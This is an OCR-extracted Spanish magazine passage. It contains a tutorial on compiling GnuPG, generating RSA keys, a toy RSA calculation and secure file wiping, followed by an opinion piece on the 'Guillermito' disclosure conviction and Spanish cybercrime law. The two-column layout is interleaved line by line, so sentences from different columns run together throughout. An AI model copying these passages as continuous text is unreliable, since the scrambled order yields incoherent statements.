implementación del mismo al sistema Para instalar GPG hay dos opciones: ba­
Definitivamente no es un sustituto de
hasta que sea oficialmente incluído en jar los binarios precompilados, o bien
SHA-1, pues también ha sufrido ataques
2007 (cuando caduque la patente). compilar nosotros mismos el código
de criptoanálisis que han permitido en­
fuente de la aplicación.
contrar colisiones:
El sitio oficial de GPG es:
Lo más cómodo es utilizar los binarios
http://eprint.iacr.org/2004/199.pdf
http://www.gnupg.org/ precompilados (los que seáis debianitas

54
como yo... apt-get install gnupg :-P), blingdenstone, que se encuentra master@blingdenstone:~$ tar xvfz
pero aún así vamos a ver cómo compi­ en su directorio home y que no gnupg-1.4.0.tar.gz
lar nosotros mismos el programa en sis­ dispone de privilegios especiales,
temas Linux. desea ejecutar...". Ahora debemos situarnos en el directo­
rio que contiene las fuentes:
El otro tipo de prompt que veréis
es: master@blingdenstone:~$ cd gnupg-
Lo primero es bajar el paquete con las 1.4.0
fuentes de la siguiente dirección: blingdenstone:/home/master#
master@blingdenstone:~/gnupg-1.4.0$
ftp://ftp.gnupg.org/gcrypt/gnupg/gnup Es igual que el anterior pero con
g-1.4.0.tar.gz un pequeño detalle: no especifica Observad cómo ha cambiado el directo­
el usuario que está ejecutando la rio de trabajo...
Para comprender mejor los co­ shell. Esto es así porque (y esto
mandos de consola que vamos a Bien, llegados a este punto siempre es
nos lo indica el símbolo "#") el
utilizar, es imprescindible que co­ bueno hacer un ls y echar un vistazo a
usuario en este caso es el root de
nozcáis al menos por encima el los ficheros que nos encontramos para
la máquina, y por tanto se denota
significado del prompt de la shell buscar el que contenga las instrucciones
su prompt únicamente con el
de Linux. En mi artículo os encon­ de instalación del programa (que nor­
nombre de la misma.
traréis con dos tipos de ellos: malmente se llamará INSTALL), pero en
Este prompt significaría "el root nuestro caso os voy a ahorrar el traba­
master@blingdenstone:~$ del dominio blingdenstone, que se jo: hay que ejecutar el script de auto-
encuentra en /home/master, de­ configuración:
Podemos dividir este prompt en
sea ejecutar...". No indicamos que
tres partes: master@blingdenstone:~/gnupg-1.4.0$
se trata de un usuario privilegiado ./configure
La primera son los datos del usua­ porque se sobreentiende que el
rio: "master", que es el usuario root siempre lo es (para los más Y aquí comienza una larga lista de com­
que está ejecutando la shell; frikis: sí, sé que puede no ser probaciones automáticas que sirven para
"blingdenstone" que es el dominio siempre así... :-P). determinar si tu sistema está preparado
en el que se encuentra el usuario para hacer funcionar el programa que
Estos dos tipos de prompt son los p r e t e n d e s c o m p i l a r, a s í c o m o l a
(en este caso, el nombre de la
que encontraréis en una configuración de compilación necesaria
máquina); y el símbolo "@" que
distribución Debian (la que yo para el mismo. Este paso es necesario
denota pertenencia. Así pues
uso) o cualquiera de sus deriva­ para evitar que compiles a lo loco el pro­
"master@blingdenstone" significa
das. Para otras distribuciones (co­ grama y luego te encuentres con que ne­
"esta sesión es del usuario master,
mo SuSe, Fedora, Mandrake...) cesitas una librería que no está instalada.
perteneciente al dominio blingden­
puede variar ligeramente.
stone".
Los errores en esta parte pueden ser de
Ahora que ya lo tendréis en el disco du­ lo más variopintos, y no tienen nada
El símbolo ":" denota la separa-
ro, vamos a aprovechar para practicar que ver con el artículo, por lo que si tie­
ción entre las dos partes del
cosas ya vistas. Comprobemos que te­ nes cualquier problema con este punto,
prompt.
nemos todos el mismo paquete para te recomiendo que te pases por nuestro
compilar... para ello aquí os dejo el hash foro, y allí preguntes indicando detalla­
La segunda parte del prompt son
MD5 y SHA-1 del paquete. Que cada damente el error obtenido (copiar y pe­
los datos relativos a la sesión: en
gar la salida por consola es lo más fá­
primer lugar tenemos el directorio cual elija el que más le guste (podéis
cil). Seguro que encuentras mucha gen­
de trabajo y que en este caso es usar md5sum y sha1sum para compro­
te dispuesta a echarte una mano.
"~", símbolo con el que denota­ bar los respectivos hashes en Linux):
mos al directorio home del usuario (ver listado 1) Si aún no conoces nuestro foro, no de­
que ejecuta la shell; y luego un jes de visitarlo:
Bien, ahora procederemos a descompri­
símbolo que puede ser "$" ó "#"
mirlo con el siguiente comando: http://www.hackxcrack.com/phpBB2/
para usuarios sin privilegios y con
privilegios respectivamente.
master@blingdenstone:~$ ls -l gnupg-1.4.0.tar.gz
La tercera parte es el propio co­ -rw-r--r-- 1 master master 3929941 Mar 1 00:03 gnupg-1.4.0.tar.gz
mando que nosotros introducimos, master@blingdenstone:~$ md5sum gnupg-1.4.0.tar.gz
y que puede ser lo que nos dé la 74e407a8dcb09866555f79ae797555da gnupg-1.4.0.tar.gz
gana. master@blingdenstone:~$ sha1sum gnupg-1.4.0.tar.gz
7078b8f14f21d04c7bc9d988a6a2f08d703fbc83 gnupg-1.4.0.tar.gz
Por tanto, este prompt significaría master@blingdenstone:~$
a grandes rasgos "el usuario mas­
t e r, p e r t e n e c i e n t e a l d o m i n i o
Listado 1

55
Si todo ha ido bien, veremos algo como
config.status: creating po/Makefile así:(ver listado 3)
config.status: executing g10defs.h commands
g10defs.h created Ahora debemos "instalar" el programa
que acabamos de compilar, para lo cual
Configured for: GNU/Linux (i686-pc-linux-gnu) primero debemos "hacernos root" me­
diante el comando su y después ejecu­
Listado 2
tar la orden de instalación en el directo­
rio de binarios del sistema (/usr/bin). El
make[2]: Leaving directory `/home/master/gnupg-1.4.0/checks'
que tengamos que hacernos root es de­
make[2]: Entering directory `/home/master/gnupg-1.4.0'
bido a que dicho directorio requiere pri­
make[2]: Nothing to be done for `all-am'.
vilegios especiales para escribir en él.
make[2]: Leaving directory `/home/master/gnupg-1.4.0'
make[1]: Leaving directory `/home/master/gnupg-1.4.0'
master@blingdenstone:~/gnupg-1.4.0$ su
master@blingdenstone:~/gnupg-1.4.0$
Password:
blingdenstone:/home/master/gnupg-1.4.0#
Listado 3
make install
master@blingdenstone:~$ gpg --version
gpg (GnuPG) 1.4.0 Y unas cuantas líneas más. :-P
Copyright (C) 2004 Free Software Foundation, Inc. Ahora lo primero que debemos hacer es
This program comes with ABSOLUTELY NO WARRANTY. volver a convertirnos en nuestro usuario
This is free software, and you are welcome to redistribute it habitual (mediante el comando exit) y
under certain conditions. See the file COPYING for details. comprobar (desde cualquier directorio)
que GPG está correctamente instalado:
Home: ~/.gnupg (ver listado 4)
Supported algorithms:
Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA ¡Perfecto! Ya tenemos GPG compilado pa­
Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH ra nuestro sistema y listo para funcionar.
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512
Para las "mentes inquietas", que sé que
Compression: Uncompressed, ZIP, ZLIB
hay muchas por ahí sueltas... echad un
master@blingdenstone:~$
ojo a los ficheros contenidos en la carpeta
Listado 4 gnupg-1.4.0/cipher/ ... os garantizo que
no os aburriréis (si sabéis C, claro).

master@blingdenstone:~$ gpg --gen-key


gpg (GnuPG) 1.4.0; Copyright (C) 2004
Free Software Foundation, Inc.
This program comes with ABSOLUTELY NO WARRANTY. Supongo que habréis notado que el ni­
This is free software, and you are welcome to redistribute it vel en general de este segundo artículo
under certain conditions. es algo más alto que el del primero. No
See the file COPYING for details. es casualidad: deseo, poco a poco, ir
Please select what kind of key you want: detallando tanto la teoría como las
(1) DSA and Elgamal (default) prácticas, para que la curva de aprendi­
(2) DSA (sign only) zaje sea suave pero ascendente. Ahora,
(5) RSA (sign only) momento de empezar a conocer GPG,
Your selection? notaréis especialmente esto que acabo
de comentar... espero que nadie se me
pierda.
Listado 5
Como los conceptos teóricos ya están asi­
Si todo ha ido bien, deberías ver al final Y si lo del ./configure os parecieron mu­ milados del artículo anterior con PGP, no
unas líneas parecidas a estas:(ver lis­ chas líneas, esperad a ver esto... :-D voy a volver a explicar en qué consiste
tado 2) cada uno de los procesos que se llevan a
cabo tras las acciones del software.
Eso significa que estamos listos para El comando make compila todos los fi­
Tampoco voy a detallar de forma exhaus­
compilar, cosa que vamos a hacer ahora cheros de código del programa según
tiva todas y cada una de las opciones de
mismo: las reglas definidas en el fichero
GPG, pues eso requeriría mucho más es­
Makefile (que a su vez ha sido generado
master@blingdenstone:~/gnupg-1.4.0$ pacio del que disponemos. Vamos, pues,
por el script de configuración anterior).
make a aprender a usar GPG mientras profundi­

56
Yo voy a elegir hacer una clave que no
Your selection? 5 expire, pero creo que podréis ver per­
RSA keys may be between 1024 and 4096 bits long. fectamente que el proceso para generar
What keysize do you want? (2048) una clave con fecha de caducidad es tri­
vial.
Listado 6
Key is valid for? (0) 0
What keysize do you want? (2048) 4096
Key does not expire at all
Requested keysize is 4096 bits
Is this correct? (y/N)
Please specify how long the key should be valid.
0 = key does not expire
Confirmamos la orden.(ver listado 8)
<n> = key expires in n days
<n>w = key expires in n weeks
Ahora es el momento de introducir el
<n>m = key expires in n months
identificador que deseamos para nues­
<n>y = key expires in n years
tra clave...(ver listado 9)
Key is valid for? (0)
Y ahora deberemos introducir (por du­
Listado 7
plicado en estos casos, como de cos­
Is this correct? (y/N) y tumbre) el passphrase que deseamos
asignar a la clave. Tras ello, el software
You need a user ID to identify your key; the software constructs the user ID comenzará la generación de la clave,
from the Real Name, Comment and Email Address in this form: para lo cual pide al usuario que genere
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>" entropía en la máquina.

Como ya comenté en el primer ar­


Real name:
tículo, un computador NO es capaz
Listado 8 de generar datos aleatorios, sino
únicamente pseudoaleatorios. La
You need a user ID to identify your key; the software constructs the user ID única forma de introducir en proce­
from the Real Name, Comment and Email Address in this form: sos críticos (como la generación de
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>" una clave de cifrado) entropía es
que ésta sea introducida desde fuera
Real name: Wadalberto HxC del sistema por el propio usuario.
Email address: wadalberto@hackxcrack.com
Comment: -<|:-P (ver listado 10)
You selected this USER-ID:
"Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>" En la información volcada a pantalla
tras la generación de la clave podemos
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o observar algunos datos de gran interés,
You need a Passphrase to protect your secret key. como la KeyID (D2AB36BB), el tamaño
de clave, el fingerprint... todos estos
Enter passphrase: elementos deberían ser de sobra cono­
cidos pues se explicaron en detalle en el
Listado 9 artículo anterior.

Pero, como nos muestra el propio GPG,


zamos en los conceptos teóricos de la digital de claves públicas y el esta­
nuestra clave no está completa porque
criptografía... blecimiento de niveles de confianza.
aún no tenemos una subclave de cifra­
La primera vez que ejecutéis GPG os ge­ Vamos a comenzar por crearnos nuestra do, por lo que deberemos crearla:(ver
nerará el directorio que contendrá el ani­ propia clave con GPG...(ver listado 5) listado 11)
llo de claves y la configuración del soft­
Entre las opciones disponibles, voy a es­ Y seleccionamos la opción de añadir una
ware. Por defecto, ese directorio será
coger RSA para la clave nueva que vamos nueva subclave.(ver listado 12)
.gnupg dentro del home del usuario.
a generar. Los motivos son dos: el prime­
Recordemos que el anillo de claves ro que el sistema RSA siempre ha sido mi Dado que deseamos crear una subclave
es el conjunto de todas las claves preferido, y el segundo lo averiguaréis de cifrado para RSA, seleccionamos la
públicas y privadas que tenemos a más tarde...(ver listado 6) opción 6 y seguimos el mismo proceso
disposición del software. El concepto ¿Qué clase de criptomaníacos seríamos para generar la subclave que seguimos
de anillo de claves toma especial im­ si eligiéramos menos de 4096? :-P para generar la clave principal.(ver lis­
portancia en procesos como la firma (ver listado 7) tado 13)

57
mo de cifrado. El motivo de haber selec­
We need to generate a lot of random bytes. It is a good idea to perform some other action
cionado RSA y no DSA para la genera-
(type on the keyboard, move the mouse, utilize the disks) during the prime generation;
ción de nuestro par de claves es que
this gives the random number generator a better chance to gain enough entropy.
.+++++
RSA se calcula con operaciones mate­
.................+++++ máticas sencillas (sumas, restas, multi­
plicaciones, divisiones, módulos...)
gpg: key D2AB36BB marked as ultimately trusted mientras que en DSA intervienen loga­
public and secret key created and signed. ritmos, lo cual complica mucho más el
gpg: checking the trustdb cálculo.
gpg: public key E632B133 is 5708 seconds newer than the signature
gpg: 3 marginal(s) needed, 1 complete(s) needed, classic trust model Ahora veamos cuáles son los pasos para
gpg: depth: 0 valid: 20 signed: 27 trust: 0-, 0q, 0n, 0m, 0f, 20u
g e n e ra r u n a c l ave d e c i f ra d o R SA :
gpg: depth: 1 valid: 27 signed: 0 trust: 0-, 0q, 0n, 14m, 13f, 0u
pub 4096R/D2AB36BB 2005-03-09
1- Escoger dos números primos muy
Key fingerprint = 0EF3 77B9 ADDF F172 4695 92F0 EA34 2D4E D2AB 36BB
uid Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>
grandes p y q (secretos) y calcular el
número n (público) correspondiente a
Note that this key cannot be used for encryption. You may want to use su producto, n = p * q
the command "--edit-key" to generate a secondary key for this purpose.
master@blingdenstone:~$ 2- Escoger la clave de descifrado consti­
tuida por un gran número entero d (se­
Listado 10 creto), que es primo con el número
master@blingdenstone:~$ gpg --edit-key d2ab36bb phi(n) (secreto) obtenido mediante:
gpg (GnuPG) 1.4.0; Copyright (C) 2004 Free Software Foundation, Inc. phi(n) = (p-1) * (q-1)
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it 3- Calcular el entero e (público) tal que
under certain conditions. See the file COPYING for details. 1 <= e <= phi(n) , mediante la
fórmula: e * d = 1 (mod phi(n))
Secret key is available.
4- Hacer pública la clave de cifrado (e, n).
pub 4096R/D2AB36BB created: 2005-03-09 expires: never usage: CS
trust: ultimate validity: ultimate Bien, que nadie se asuste que no es tan
[ultimate] (1). Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com> complicado como parece. Vamos a se­
guirla paso a paso para construir nues­
Command> tra propia clave con papel y pluma (al­
gunos aún escribimos con estilográfica).
Listado 11
En primer lugar, elegimos dos números
Command> addkey primos... aunque no serán "grandes pri­
Key is protected. mos" como dicta el algoritmo, que no
queremos morirnos calculando... xD
You need a passphrase to unlock the secret key for
user: "Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com>" p = 11
4096-bit RSA key, ID D2AB36BB, created 2005-03-09 q=3
=> n = (p*q) = 33
Please select what kind of key you want:
(2) DSA (sign only) Ahora debemos calcular el número
(4) Elgamal (encrypt only) phi(n):
(5) RSA (sign only)
(6) RSA (encrypt only) phi(n) = 10 * 2 = 20
Your selection?
Con estos factores calculados, debemos
Listado 12
Bien, como ya hemos dicho, la pareja calcular e, teniendo en cuenta que debe
Ya tenemos creada nuestra clave RSA. de claves RSA ya ha sido creada, pero... cumplir que su máximo común divisor
Podemos verla dentro de nuestro anillo ¿qué es RSA en realidad? con (p-1) y (q-1) -y, por tanto, con
de claves:(ver listado 14) phi(n)- debe ser 1.

He cortado la salida por pantalla porque mcd (e, p-1) = 1


a nadie le interesarán las otras 45 cla­ Creo que ha llegado el momento de sa­ mcd (e, q-1) = 1
ves de mi anillo... :-P ber realmente cómo funciona un algorit­

58
Please select what kind of key you want:
Bien, la cosa se va poniendo interesan­
(2) DSA (sign only)
te. Es el momento de ver la
(4) Elgamal (encrypt only)
especificación del algoritmo para cifrar
(5) RSA (sign only)
y descifrar:
(6) RSA (encrypt only)
Your selection? 6
1- Para cifrar texto, es necesario previa­
RSA keys may be between 1024 and 4096 bits long.
mente codificar el texto en un sistema
What keysize do you want? (2048) 4096
numérico en base b dividiéndolo en blo­
Requested keysize is 4096 bits
ques de tamaño j-1 de forma que b^(j-
Please specify how long the key should be valid.
1) < n < b^j.
0 = key does not expire
<n> = key expires in n days 2- Cifrar cada bloque M_i transformán­
<n>w = key expires in n weeks dolo en un nuevo bloque de tamaño j
<n>m = key expires in n months C_i de acuerdo con la expresión C_i ==
<n>y = key expires in n years M_i^e (mod n).
Key is valid for? (0) 0
Key does not expire at all 3- Para descifrar el bloque C_i , se usa
Is this correct? (y/N) y la clave privada d según la expresión:
Really create? (y/N) y M_i == C_i^d (mod n).
We need to generate a lot of random bytes. It is a good idea to perform some
Creo que será mucho más fácil de ver
other action (type on the keyboard, move the mouse, utilize the disks) during
con un ejemplo... supongamos que que­
the prime generation; this gives the random number generator a better
remos cifrar un mensaje representado
chance to gain enough entropy.
por el número 7.
........+++++
......+++++ m=7
pub 4096R/D2AB36BB created: 2005-03-09 expires: never usage: CS
trust: ultimate validity: ultimate El valor cifrado del mensaje 7 según la
sub 4096R/4F05B850 created: 2005-03-09 expires: never usage: E clave pública (33,3) es el siguiente:
[ u l t i m a t e ] ( 1 ) . Wa d a l b e r t o H x C ( - < | : - P ) < w a d a l b e r t o @ h a c k x c ra c k . c o m >
c = m^e mod n = 7^3 mod 33 =
Command> quit 343 mod 33 = 13
Save changes? (y/N) y
master@blingdenstone:~$ Ahora comprobamos que al aplicar la
fórmula de descifrado con la clave pri­
Listado 13 vada (33,7) obtenemos de nuevo el
mensaje original:
master@blingdenstone:~$ gpg --list-keys
/home/master/.gnupg/pubring.gpg m' = c^d mod n = 13^7 mod 33 = 7
-------------------------------
{...} Dado que m=m' el mensaje se ha
descifrado correctamente y nues­
pub 4096R/D2AB36BB 2005-03-09 tro par de claves funciona a la
uid Wadalberto HxC (-<|:-P) <wadalberto@hackxcrack.com> perfección. :-)
sub 4096R/4F05B850 2005-03-09
Ahora ya sabéis cómo funciona en reali­
dad vuestra clave de cifrado por dentro,
master@blingdenstone:~$
y lo sabéis de forma totalmente exacta.
Listado 14 El sistema es exactamente el mismo,
solo que en OpenPGP se utilizan
números descomunales mientras que yo
=> mcd (e, phi(n)) = mcd (e, (p-1) (q-1))= 1 d=7
he elegido si no los más bajos, casi.
e=3
e * d-1 = (3 * 7) - 1 = 20
mcd (3, 10) = 1 20 | phi(n)=20
mcd (3, 2) = 1
=> mcd (3, 20) = mcd (3, (10) (2))= 1 Aunque dije que no iba a detallar todas
Ya hemos terminado de calcular las cla­
las opciones de GPG, sí hay algunas que
ves y estamos listos para publicarlas:
Ahora debemos seleccionar el número d no quiero dejar de mencionar. Los datos
teniendo especial cuidado de satisfacer encerrados entre "<>" son opciones va­
Clave pública = (n, e) = (33,3)
las premisas: riables que debe introducir el usuario.
Clave privada = (n, d) = (33,7)

59
Importar clave: gpg --import <fichero> Interface) que faciliten al usuario su Pero la gran ventaja de KGpg es la
manejo. integración con KDE (para los usuarios
Exportar clave pública: gpg --armor -- de KDE como yo, claro). En primer lu­
export <KeyID> <fichero> Para GnuPG existen multitud de GUIs gar, KGpg se integra con Konqueror pa­
para GnuPG, pero personalmente os re­ ra permitir trabajar con cifrado de archi­
Exportar clave privada: gpg --armor -- comiendo dos de ellas: Gnu Privacy vos desde el navegador de ficheros.
export-secret-keys <KeyID> <fichero> Assistant (GPA) y KGpg. Podéis ver la Además, KGpg genera un icono en la
lista oficial de GUIs de GnuPG en: bandeja de sistema que permite traba­
Exportar a un servidor de claves: gpg -
jar con el contenido del portapapeles y
-keyserver <Keyserver> --send-key http://www.gnupg.org/(es)/related_so GPG de forma transparente al usuario.
<KeyID> ftware/frontends.html#gui Por último, KGpg integra la "destructora
Recordad que a un servidor de de documentos" en el escritorio, un sis­
GPA
claves únicamente pueden expor­ tema de borrado seguro de datos para
tarse claves públicas. GnuPG. En definitiva, que KGpg ofrece
una experiencia de integración en Linux
Buscar en un servidor de claves: gpg -- similar a PGP en Windows, lo cual resul­
keyserver <Keyserver> --search-key ta mucho más agradable para cualquier
<KeyID> usuario, además de evitar ese efecto
"campo de fuerza" que efectúan algunos
Importar desde un servidor de claves: programas de línea de comandos en
gpg --keyserver <Keyserver> --recv- muchas personas... :-P
key <KeyID>
Para instalar cualquiera de ellos dos,
Firmar una clave pública (firma exporta­ debéis seguir el mismo sistema que he­
ble): gpg --sign-key <KeyID> mos seguido con GnuPG, pudiendo ele­
gir paquetes precompilados o compilarlo
Firmar una clave pública (firma no ex­ vosotros mismos (los pasos son prácti­
portable): gpg --lsign-key <KeyID> camente los mismos que hemos visto al
principio del artículo).
Cifrar ficheros: gpg --encrypt-files <fi­
chero> Como ejercicio os queda practicar todo
es la primera GUI que usé para GnuPG.
lo que sabéis de OpenPGP, y más con­
Descifrar ficheros: gpg --decrypt-files Es bastante completa y rápida, si bien
cretamente de GnuPG, en la interfaz
<fichero> no contempla todas las opciones de
gráfica que prefiráis. A estas alturas de­
GPG (cosa que, por otro lado, es común
beríais de ser capaces de saber perfec­
Firmar ficheros (MIME): gpg --sign <fi­ en todas las GUIs de programas de lí­
tamente para qué sirve cada opción, y
chero> nea de comandos). Está formado por
haciendo paralelismos con lo visto en
dos partes: el editor del anillo y el ges­
Firmar ficheros (armadura): gpg -- PGP, no será complicado que os hagáis
tor de ficheros.
clearsign <fichero> con el manejo rápidamente. En cual­
quier caso, en caso de duda, pregunta
KGpg en el foro. :-)
Verificar firmas: gpg --verify <fichero>

Para conocer en profundidad todas las


opciones de GPG, lo mejor es que eje­
cutéis el comando "man gnupg" y os Como prometí equiparar a los "window­
empapéis del manual de GnuPG. Y si seros" y a los "linuxeros", os voy a re­
tenéis alguna duda, en el foro podéis comendar un software de borrado segu­
preguntar tranquilamente. ro de datos para Linux que, aunque no
tiene nada que ver con GnuPG, os servi­
rá para obtener la misma funcionalidad
que ofrece el programa wipe de PGP. Ya
GnuPG es un software muy potente, sin sé que KGpg ofrece un servicio parecido
es la GUI de KDE para GPG. Es la GUI también, pero habrá gente que no le
duda, pero la verdad es que trabajar en
que uso ahora mismo y me parece la guste KGpg y prefiera GPA o cualquier
consola suele resultar bastante engorro­
más completa que hay hoy por hoy. Su otro...
so a la mayoría de los usuarios (excepto
estética es muy parecida a la de PGP
unos cuantos "tipos raros" como yo),
para Windows, lo cual es más útil para El software se llama wipe (sí, también,
por lo que lo más lógico en los tiempos
usuarios que pretendan migrar a Linux, ¡pero no es lo mismo!) y se maneja des­
que corren es que todo programa cuyo
además de la calidad de la misma. de consola. La página del programa es:
uso requiera comandos de consola, ten­ Posee muchos más y mejores diálogos
ga una o varias interfaces gráficas de y opciones que GPA, además de ser http://wipe.sourceforge.net/
usuario (GUI, del inglés Graphic User más intuitivo en el uso.

60
tro foro, donde hay mucha gente dis­
master@blingdenstone:~$ su puesta a ayudar. Y si tenéis alguna sug­
Password: erencia, podéis escribirme un correo
blingdenstone:/home/master# wipe heap.c electrónico (las dudas mejor en el foro,
Okay to WIPE 1 regular file ? (Yes/No) yes donde todos puedan beneficiarse de las
Operation finished. respuestas). Algunos pensarán "este tío
1 file wiped and 0 special files ignored in 0 directories, 0 symlinks removed nos dice que le mandemos un correo y
but not followed, 0 errors occured. no nos ha dado la dirección...".
blingdenstone:/home/master# exit
exit En realidad a estas alturas el que no sea
master@blingdenstone:~$ capaz de encontrar mi clave pública en
algún servidor de claves, es que no se
Listado 15 ha leído los artículos y por tanto no
puede tener dudas sobre los mismos. ;-
Su uso es muy sencillo, basta con invo­ Ahora vamos a ver un ejemplo práctico P
car el comando wipe seguido del fichero del uso de wipe:(ver listado 15)
a eliminar (con su ruta correspondiente, Sencillísimo, ¿verdad? El próximo número nos meteremos de
claro) y confirmar la orden. Claro que lleno en cómo aplicar OpenPGP (en
siempre hay unas consideraciones que cualquiera de sus implementaciones) a
no debemos olvidar: en primer lugar, las tareas cotidianas frente a la pantal­
que para ejecutar este programa es Este es el fin del segundo artículo del la: copias de seguridad de ficheros,
necesario ser el usuario root (ya hemos
Taller de Criptografía. Espero que os c o r r e o e l e c t r ó n i c o, m e n s a j e r í a i n ­
dicho al principio del artículo como hac­
haya gustado (y si es posible, más que stantánea...
ernos root); y en segundo lugar, lo mis­
el anterior, jejeje).
mo que dije para el wipe de PGP: cuida­ Sed buenos.
do con lo que elimináis porque lo que Sé que lo he dicho muchas veces, pero
borréis con este método no volverá todas las que se diga son pocas: si
Ramiro C.G. (alias Death Master)
jamás. Avisados estáis. :-P tenéis cualquier problema, visitad nues­

Visita nuestro foro, TU FORO!!!


en WWW.HACKXCRACK.COM

61
"Mi señor, mi rey, poned en vuestra poderosa espada mis humildes pero sabias palabras. Por los
siglos es sabido que, si mantenéis al pueblo bajo el yugo de la pobreza de pensamiento y la igno­
rancia, obtendréis un pueblo sumiso como el más necio de vuestros bufones.
Ofreced a vuestro pueblo sabiduría, y se rebelará contra vos."
(el consejero del rey, edad media).

No hemos podido dejar de incluir este mes un artículo de opinión respecto a un tema de rabiosa
actualidad, es una responsabilidad ineludible hacernos eco de lo amenazados que nos sentimos
muchos redactores y colaboradores de este y otros muchos medios por el mero hecho de
INFORMAR.

Te presentamos el “caso Guillermito”. ¿Quién es Guillermito? Dice “Guillerrmito” en su Web:


"Se acabaron las demostraciones sobre debilidades en pro­
Guillaume T. desarrolla actualmente su trabajo en Boston gramas de seguridad. Ahora está prohibido en mi país. El 8
como investigador en biología molecular, tanto en el depar­ de Marzo de 2005 he sido condenado por mostrar fallos en
tamento de Genética de la Universidad de Harvard como en un programa antivirus y publicar programas, a modo de
el Hospital General de Massachusetts. Como parte de sus prueba de concepto, para demostrarlos. Eso es exactamente
aficiones, Guillaume, publica en su página web personal, lo que hice en una docena de programas de esteganografía,
bajo el apodo de "Guillermito", algunos análisis que a menudo contenían agujeros de seguridad tan grandes
sobre vulnerabilidades que ha detectado en diversas soluciones que podrían ser atravesados por un camión.
de seguridad. El seudónimo responde simplemente a un guiño Así que ahora tendrán ustedes que creer a los editores de
a sus raíces, ya que sus abuelos eran españoles y migraron folletos de marketing. Bienvenidos a Disneylandia. Todos los
a Francia antes del comienzo de la Guerra Civil. programas esteganográficos son perfectos, supersólidos,
(texto completo en http://www.hispasec.com/unaaldia/2034) irrompibles, indetectables, sin bugs ni fallos. Son todos
perfectos. Utilícenlos. Ja ja ja. Menudo chiste."
El 8 de Marzo de 2005 Guillaume Tena, ciudadano francés de Fuente original extraída de KRIPTÓPOLIS:
origen español popularmente conocido como “Guillermito”, http://www.kriptopolis.org/node/474
ha sido condenado por un tribunal francés debido a que Web de “Guillermito”: http://www.guillermito2.net/
demostró y publicó fallos en varios programas, utilizando
para la demostración todos los medios técnicos a su alcance. Guillermito, para demostrar sus descubrimientos y defenderse
Ha sido condenado gracias a unas leyes muy cercanas en su de cualquier posible acusación de falsedad, publicó código
interpretación a las que recientemente han sido aprobadas desensamblado, hecho que finalmente ha acabado en condena.
en España. Lo realmente importante de este caso es la interpretación

62
del juez, que ha dado más importancia a ropea, diseñado o adaptado para hacer dentro del sector de delitos informáticos
los medios utilizados (el proceso de posible dicho acceso. (para más datos consultar
investigación) que al derecho de informar http://www.bufetalmeida.com/abogados
sobre dichos descubrimientos. 2º La instalación, mantenimiento o /carlos.html)
sustitución de los equipos o progra­
Quizá pienses que “Guillermito”, si ha sido mas informáticos mencionados en el Por Carlos Sánchez Almeida
condenado, será porque existen razones párrafo 1º.
de peso para ello... pues vamos a ver, de “Lejos de lo que podría parecer, la nueva
primera mano, lo que ha provocado esa 2. Con idéntica pena serán castigados regulación no afecta únicamente a los
condena en esta editorial. quienes, con ánimo de lucro, alteren delincuentes digitales, sino que incide
o dupliquen el número identificativo sobremanera sobre el derecho fundamental
Los redactores de esta revista nos hemos de equipos de telecomunicación, co­ a la libertad de expresión e información.
sentido muy preocupados en estos días, mercialicen equipos que hayan sufrido Cualquier medio informativo, electrónico
porque en España no sólo es condenable alteración fraudulenta y los que con o en papel, se va a ver afectado por la
el desensamblado sino también la idéntico ánimo, alterar o duplicar cual­ nueva regulación. Cualquier sitio Web que
divulgación de información relacionada quier dispositivo lógico o electrónico informe sobre vulnerabilidades, mediante
con la seguridad informática. Pero no se necesario para el funcionamiento de información técnica relativa a la seguridad
puede juzgar esta situación sin, como equipos de telecomunicación en una informática, o que mediante links dirija a
mínimo, leer la ley. Muy bien, pues tome­ red determinada sin consentimiento sitios de Internet donde se ofrezca dicha
mos contacto con la actual ley Española del titular de la red. información, puede verse acusado de
relacionada con el tema que nos ocupa, favorecer la comisión de delitos y verse
en vigor desde el 1 de Octubre del 3. A quien, sin ánimo de lucro, facilite sometido a un proceso penal.”
2004. a terceros el acceso descrito en el
apartado 1, o por medio de una “También resultan beneficiadas por la
El siguiente texto ha sido extraído del comunicación pública suministre pedrea legislativa las empresas de teleco­
Boletín Oficial del Estado. Si deseas acceder información a una pluralidad de per­ municaciones: si un ciudadano ofreciese
a la fuente completa, puedes hacerlo en sonas sobre el modo de conseguir el a su vecino compartir su conexión a Inter­
el siguiente enlace: acceso no autorizado a un servicio de net, ya sea mediante red convencional o
http://www.pcpasoapaso.com/libe los expresados en ese mismo apartado wireless, ambos estarían cometiendo un
rados/leymordaza.pdf 1, incitando a lograrlo, se le impondrá delito tipificado en la nueva regulación.”
la pena de multa en él prevista.
Anteproyecto de Ley Orgánica por la “viene a situar fuera de la Ley a la mayor
que se modifica la Ley Orgánica 4. A quien, utilice los equipos o pro­ parte de la población española”
10/1995, de 23 de noviembre, del gramas que permitan el acceso no
Código Penal: autorizado a servicios de acceso con­ “No sólo desaparecerán páginas de hac­
dicional se le impondrá la pena pre­ kers: multitud de iniciativas, lucrativas o
Nonagésimo segundo.- Se modifica el vista en el artículo 255 de este Código no, se verán afectadas por la autocensura.
artículo 286 que queda redactado con independencia de la cuantía de la Pienso en mi buen amigo Cuartango, o en
como sigue: defraudación." Kamborio, o en tantos y tantos buenos
investigadores, que se cuidarán de tener
"1. Será castigado con las penas de Cuando una persona sin conocimientos la boca bien cerrada cuando descubran
prisión de seis meses o dos años y jurídicos lee una ley como la que hemos vulnerabilidades en sistemas, con gran
multa de seis a veinticuatro meses el expuesto, la verdad, incluso piensa que alivio de las empresas productoras de
que, sin consentimiento del prestador es perfectamente lógica y necesaria. Re­ software defectuoso.”
de servicios y con fines comerciales, sumiendo lo poco que se entiende, dice (Puedes consultar la fuente completa en
facilite el acceso inteligible a un ser­ que es delito piratear software y hardware http://www.kriptopolis.com/more.
vicio de radiodifusión sonora o televi­ (por ejemplo tarjetas de televisión codifi­ php?id=P28_0_1_0_C)
